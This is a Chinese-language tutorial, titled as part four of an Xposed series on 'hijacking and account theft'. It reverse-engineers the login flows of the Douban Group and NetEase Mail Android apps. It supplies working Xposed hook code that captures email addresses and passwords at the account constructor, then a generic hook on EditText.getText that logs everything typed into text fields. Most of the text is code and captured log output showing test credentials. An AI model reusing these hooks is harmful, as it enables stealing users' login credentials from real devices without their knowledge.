8、XPOSED四、劫持与盗号

目标APK：豆瓣小组

版本号：3.2.0

MD5：d7e3b5d05519f4a7ad440bfbf141c604

搜索：手机号

    <string name="hint_email">邮箱/手机号</string>
    <string name="hint_password">密码</string>

进而搜索：hint_email

    <public type="string" name="hint_email" id="0x7f0c0124" />
    <public type="string" name="hint_password" id="0x7f0c0125" />

res\layout\login.xml：

<AutoCompleteTextView android:textColor="?group_text_color" android:id="@id/name" android:paddingBottom="10.0dip" android:focusable="true" android:layout_width="fill_parent" android:layout_height="wrap_content" android:hint="@string/hint_email" android:singleLine="true" android:inputType="textEmailAddress" android:imeOptions="actionNext"/><EditText android:textColor="?group_text_color" android:id="@id/password" android:focusable="true" android:nextFocusUp="@id/name" android:layout_width="fill_parent" android:layout_height="wrap_content" android:hint="@string/hint_password" android:singleLine="true" android:inputType="textPassword"/>

然后在public.xml里搜索login：

<public type="layout" name="login" id="0x7f030070" />

搜索：0x7f030070，得：com/douban/group/fragment/LoginDialogFragment

.method public onCreateView(Landroid/view/LayoutInflater;Landroid/view/ViewGroup;Landroid/os/Bundle;)Landroid/view/View;
    .locals 3
    .parameter "inflater"
    .parameter "container"
    .parameter "savedInstanceState"

    .prologue
    .line 77const v1, 0x7f030070const/4 v2, 0x0

    invoke-virtual {p1, v1, p2, v2}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;Z)Landroid/view/View;

当然后面继续分析smali代码也是可以的，这里为了方便切换到jar上分析（如果目标不能正常反编译成jar包进行分析，就分析smali代码）。

public View onCreateView(LayoutInflater paramLayoutInflater, ViewGroup paramViewGroup, Bundle paramBundle)
  {
    View localView = paramLayoutInflater.inflate(2130903152, paramViewGroup, false);
    this.mBtnLogin = ((Button)localView.findViewById(2131296302));
    this.mEdtName = ((EditText)localView.findViewById(2131296497));
    this.mEdtPassword = ((EditText)localView.findViewById(2131296506));
    this.mEdtName.requestFocus();
    this.mEdtPassword.setOnKeyListener(new View.OnKeyListener()
    {
      publicboolean onKey(View paramView, int paramInt, KeyEvent paramKeyEvent)
      {
        if ((paramKeyEvent.getKeyCode() == 66) && (LoginDialogFragment.this.mEdtPassword.isFocused()) && (LoginDialogFragment.this.mEdtPassword.getText().toString().length() > 0))
        {
          LoginDialogFragment.this.checkNameAndPassword();
          returntrue;
        }
        returnfalse;
      }
    });
    this.mBtnLogin.setOnClickListener(new View.OnClickListener()
    {
      publicvoid onClick(View paramView)
      {
        LoginDialogFragment.this.checkNameAndPassword();
      }
    });
    this.mBtnCancel = ((Button)localView.findViewById(2131296297));
    this.mBtnCancel.setOnClickListener(new View.OnClickListener()
    {
      publicvoid onClick(View paramView)
      {
        LoginDialogFragment.this.dismissDialogFragment();
      }
    });
    return localView;
  }

重点分析checkNameAndPassword：

private void checkNameAndPassword()
  {
   this.mName = this.mEdtName.getText().toString();this.mPassword = this.mEdtPassword.getText().toString();
    String str = getString(2131492903);
    if (this.mName.contains(str))
      this.mName = this.mName.replace(str, "@");
    Toast localToast;
    if (this.mName.length() == 0)
      localToast = Toast.makeText(getActivity(), 2131493048, 0);
    while (localToast != null)
    {
      localToast.show();
      return;
      if ((this.mName.contains("@")) && (!validateEmail(this.mName)))
      {
        localToast = Toast.makeText(getActivity(), 2131493049, 0);
        continue;
      }
      int i = this.mPassword.length();
      localToast = null;
      if (i != 0)
        continue;
      localToast = Toast.makeText(getActivity(), 2131493072, 0);
    }
    newLoginTask(null).execute(new Void[0]);
  }

继续分析：LoginTask

privateclassLoginTask extends AsyncTask<Void, Void, Session>
  {
    private Session mPrevSession = null;

    private LoginTask()
    {
    }

    protected Session doInBackground(Void[] paramArrayOfVoid)
    {
      try
      {
        LoginDialogFragment.this.mApi.login(LoginDialogFragment.this.mName, LoginDialogFragment.this.mPassword);
        Session localSession = Session.get(LoginDialogFragment.this.getActivity());
        if (localSession != null)
        {
          User localUser = GroupApplication.getGroupApi().get(String.valueOf(localSession.userId));
          if (localUser != null)
          {
            String str = localUser.jsonString();
            LoginDialogFragment.this.mApp.getAccountController().addUserToUserList(localUser);
            Utils.setString(LoginDialogFragment.this.mApp, "screen_user", str);
            Utils.setString(LoginDialogFragment.this.mApp, "screen_user_name", localUser.name);
            LoginDialogFragment.this.mDB.saveUser(localUser.id, str);
            NLog.e("login", "nickname ++" + localUser.name + "user num id :" + localUser.id);
          }
        }
        return localSession;
      }
      catch (Exception localException)
      {
        if (LoginDialogFragment.this.getActivity() != null)
          ErrorHandler.handleException(LoginDialogFragment.this.getActivity(), localException);
      }
      returnnull;
    }
……
｝

核心登录代码已被我们找到：

LoginDialogFragment.this.mApi.login(LoginDialogFragment.this.mName, LoginDialogFragment.this.mPassword);

里面private Api mApi;

所以只要HOOK类com.douban.api.Api的login函数即可。

发现不能进入到HOOK模块，换一个APK。

网易邮箱：3.5.5

搜索：邮箱帐号

    <string name="login_email_hint">邮箱帐号</string>
    <string name="login_password_hint">密码</string>

搜索：login_email_hint，得login_fragment.xml

在public.xml中搜索login_fragment：

<public type="layout" name="login_fragment" id="0x7f030054" />

搜索0x7f030054得com/netease/mobimail/fragment/LoginFragment;

转到jar中分析：

public View onCreateView(LayoutInflater paramLayoutInflater, ViewGroup paramViewGroup, Bundle paramBundle)
  {
    View localView = paramLayoutInflater.inflate(2130903124, paramViewGroup, false);
    this.mContext = paramLayoutInflater.getContext();
    init(localView);
    return localView;
  }

继续分析init：

privatevoid init(View paramView)
  {
    this.mScrollContainer = ((LinearLayout)paramView.findViewById(2131099776));
    this.email = ((AutoCompleteTextView)paramView.findViewById(2131099892));
    this.emailClearBtn = ((Button)paramView.findViewById(2131099895));
    this.tvDomain = ((TextView)paramView.findViewById(2131099893));
    this.password = ((EditText)paramView.findViewById(2131099894));
    this.passwordClearBtn = ((Button)paramView.findViewById(2131099896));
    this.loginBtn = ((Button)paramView.findViewById(2131099897));
    this.viewFocus = paramView.findViewById(2131099898);
    this.adapter = new MailAutoCompleteAdapter(this.mContext, 2130903123, 2131099891, 25);
    this.adapter.setMatchDomains(MiscUtil.getAllMatchDomain());
    this.email.setAdapter(this.adapter);
    this.email.setThreshold(1);
    this.email.setOnItemClickListener(this.emailOnItemClickListener);
    this.email.setOnEditorActionListener(this.onEditorActionListener);
    this.email.addTextChangedListener(new TextWatcher()
    {
      publicvoid afterTextChanged(Editable paramEditable)
      {
      }

      publicvoid beforeTextChanged(CharSequence paramCharSequence, int paramInt1, int paramInt2, int paramInt3)
      {
      }

      publicvoid onTextChanged(CharSequence paramCharSequence, int paramInt1, int paramInt2, int paramInt3)
      {
        if (paramCharSequence.toString().toLowerCase(Locale.US).trim().contains("@"))
          LoginFragment.this.email.setListSelection(0);
      }
    });
    EditTextClearView.combine(this.email, this.emailClearBtn);
    String str = AppSetting.getInstance().getV2Dot3Account();
    if ((!TextUtils.isEmpty(str)) && (checkMailAddressValid(str)))
    {
      this.email.setText(str);
      AppSetting.getInstance().setV2Dot3Account(null);
    }
    this.password.setOnEditorActionListener(this.onEditorActionListener);
    EditTextClearView.combine(this.password, this.passwordClearBtn);
 this.loginBtn.setOnClickListener(this.loginBtnOnClickListener);
    initAddressDropDown();
    updateByType();
  }

分析登录按钮的响应事件代码：

privatefinal View.OnClickListener loginBtnOnClickListener = new View.OnClickListener()
  {
    publicvoid onClick(View paramView)
    {
      LoginFragment.this.doLogin();
    }
  };

继续分析doLogin：

publicvoiddoLogin()
  {
    if (this.mIsLogining)
    {
      Log.i("LoginFragment", "just wait a while pls, we are doing login");
      return;
    }
    UIUtils.hideSoftInput(this.mContext, this.email);
    UIUtils.hideSoftInput(this.mContext, this.password);
this.mailAddress = this.email.getText().toString().toLowerCase().trim();
    this.passwordString = this.password.getText().toString();
    ……
this.mAccount = new Account(this.mailAddress, this.passwordString);
      setAccountType(this.mAccount);
      if (this.mAccount.isNeteaseFreeAccount())
      {
        this.mAccount.setWZPProtocol();
        continue;
      }
      this.mAccount.setImapAndSmtpProtocol();
    }
  }

中间是一些检查性代码，不再贴出。最后调用：

this.mAccount = new Account(this.mailAddress, this.passwordString);

此类为：

com.netease.mobimail.storage.entity.Account

public Account()
  {
    this(null, null, ProtocolType.UNKNOWN);
  }

  public Account(String paramString, ProtocolType paramProtocolType)
  {
    this(paramString, "", paramProtocolType);
  }

  public Account(String paramString1, String paramString2)
  {
    this(paramString1, paramString2, ProtocolType.UNKNOWN);
  }

  public Account(String paramString1, String paramString2, ProtocolType paramProtocolType)
  {
    this.internal.setMailAddress(paramString1);
    this.internal.setProtocolType(paramProtocolType);
    init(paramString1, paramString2);
  }

构造函数名怎么写呢？嫌麻烦，继续看init吧：

protectedvoidinit(String paramString1, String paramString2)
  {
    if (this.internal.getMailAddress() != null)
    {
      Address localAddress = new Address();
      localAddress.setMailAddress(paramString1);
      this.extData.setCurrentSender(localAddress);
      this.extData.addSender(localAddress);
      this.extData.setNeedNotification(true);
      Mailbox localMailbox1 = new Mailbox(getId().longValue(), "163ANDROID-LOCAL-OUT-BOX", Mailbox.Type.OUT_BOX);
      localMailbox1.format(null);
      addMailbox(localMailbox1);
      Mailbox localMailbox2 = new Mailbox(getId().longValue(), "163ANDROID-LOCAL-DRAFT-BOX", Mailbox.Type.DRAFT_BOX);
      localMailbox2.format(null);
      addMailbox(localMailbox2);
      if (isImapAndSmtpProtocol())
        initImapAndSmtp(paramString1, paramString2);
      if (isWZPProtocol())
        initWZP(paramString1, paramString2);
      initOthers(paramString1, paramString2);
    }
  }

hook类com.netease.mobimail.storage.entity.Account的init函数即可，代码：

//got mail pswd
        findAndHookMethod("com.netease.mobimail.storage.entity.Account", param.classLoader, "init", String.class, String.class, new XC_MethodHook() {
             @Override
             protectedvoid beforeHookedMethod(MethodHookParam param) throws Throwable {
                 Log.d(TAG, "beforeHookedMethod: account: " + param.args[0].toString() + " pswd: " + param.args[1].toString());
             }
        });

测试运行：

点击登录后截获到帐号和密码：

10-29 11:38:11.320 1567-1567/com.netease.mobimail D/XposedXXHook﹕ beforeHookedMethod: account: test@163.com pswd: netease163

以上的劫持比较精准，精细到具体类的具体函数，这需要花点时间进行分析，有没有更通用更简单的方法呢？

综合上面两个应用程序的分析来看，输入帐号和密码的控件无非就是EditText、AutoCompleteTextView或者其他，而在登录的时候都要获取其文本内容，也就是getText函数一定会被调用，我们只需要HOOK这些类的getText函数即可。

android.widget.EditText

android.widget.AutoCompleteTextView

由于AutoCompleteTextView继承自EditText：

public class AutoCompleteTextView extends EditText

所以只需要HOOK类android.widget.EditText的getText函数即可。

//get edit text
        findAndHookMethod("android.widget.EditText", param.classLoader, "getText", new XC_MethodHook() {
            @Override
            protectedvoid afterHookedMethod(MethodHookParam param) throws Throwable {
                Log.d(TAG, "android.widget.EditText::getText: " + param.getResult().toString());
            }
        });

测试截获的数据：

10-29 14:27:27.960 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:27.960 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:27.960 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:27.960 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:27.960 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:27.960 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:27.960 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:27.970 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:27.970 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:27.970 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:27.970 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:27.970 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:27.970 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:27.980 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:27.980 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:28.010 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:28.010 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:28.010 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:28.090 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:28.090 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:28.490 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:28.490 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:28.550 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:28.550 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:29.000 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:29.000 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:29.000 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:29.000 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:29.520 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:29.520 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:29.520 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:29.520 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:30.030 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:30.030 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:30.030 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:30.030 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:30.530 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:30.530 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:30.530 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:30.530 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:30.970 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t
10-29 14:27:30.970 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t
10-29 14:27:30.980 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t
10-29 14:27:30.980 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t
10-29 14:27:30.980 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t
10-29 14:27:30.980 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t
10-29 14:27:30.980 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t
10-29 14:27:30.980 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t
10-29 14:27:30.980 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t
10-29 14:27:30.990 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t
10-29 14:27:31.020 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: t
10-29 14:27:31.050 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te
10-29 14:27:31.050 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te
10-29 14:27:31.050 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te
10-29 14:27:31.060 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te
10-29 14:27:31.060 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te
10-29 14:27:31.060 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te
10-29 14:27:31.060 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te
10-29 14:27:31.060 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te
10-29 14:27:31.060 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te
10-29 14:27:31.060 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te
10-29 14:27:31.120 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: te
10-29 14:27:31.130 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes
10-29 14:27:31.130 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes
10-29 14:27:31.130 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes
10-29 14:27:31.130 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes
10-29 14:27:31.130 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes
10-29 14:27:31.130 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes
10-29 14:27:31.140 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes
10-29 14:27:31.140 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes
10-29 14:27:31.140 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes
10-29 14:27:31.180 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes
10-29 14:27:31.200 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: tes
10-29 14:27:31.310 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:31.310 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:31.310 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:31.310 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:31.310 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:31.320 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:31.320 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:31.320 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:31.320 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:31.320 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:31.330 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:31.820 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:31.820 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:31.820 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:31.820 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:32.330 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:32.330 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:32.330 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:32.330 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:32.420 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:32.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:27:32.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:32.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:32.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:32.930 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:32.930 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:32.940 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:32.940 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:33.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:33.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:33.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:33.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText:
10-29 14:27:33.510 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: n
10-29 14:27:33.510 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: n
10-29 14:27:33.510 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: n
10-29 14:27:33.510 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: n
10-29 14:27:33.510 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: n
10-29 14:27:33.510 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: n
10-29 14:27:33.510 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: n
10-29 14:27:33.650 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: ne
10-29 14:27:33.650 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: ne
10-29 14:27:33.650 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: ne
10-29 14:27:33.650 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: ne
10-29 14:27:33.650 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: ne
10-29 14:27:33.650 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: ne
10-29 14:27:33.650 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: ne
10-29 14:27:33.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: net
10-29 14:27:33.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: net
10-29 14:27:33.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: net
10-29 14:27:33.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: net
10-29 14:27:33.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: net
10-29 14:27:33.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: net
10-29 14:27:33.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: net
10-29 14:27:34.250 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: nete
10-29 14:27:34.250 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: nete
10-29 14:27:34.250 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: nete
10-29 14:27:34.250 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: nete
10-29 14:27:34.250 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: nete
10-29 14:27:34.250 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: nete
10-29 14:27:34.250 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: nete
10-29 14:27:34.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netea
10-29 14:27:34.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netea
10-29 14:27:34.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netea
10-29 14:27:34.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netea
10-29 14:27:34.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netea
10-29 14:27:34.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netea
10-29 14:27:34.440 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netea
10-29 14:27:34.610 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: neteas
10-29 14:27:34.610 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: neteas
10-29 14:27:34.610 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: neteas
10-29 14:27:34.620 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: neteas
10-29 14:27:34.620 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: neteas
10-29 14:27:34.620 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: neteas
10-29 14:27:34.620 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: neteas
10-29 14:27:34.760 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease
10-29 14:27:34.760 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease
10-29 14:27:34.760 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease
10-29 14:27:34.760 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease
10-29 14:27:34.760 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease
10-29 14:27:34.760 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease
10-29 14:27:34.760 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease
10-29 14:27:35.260 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease
10-29 14:27:35.260 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease
10-29 14:27:35.270 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease
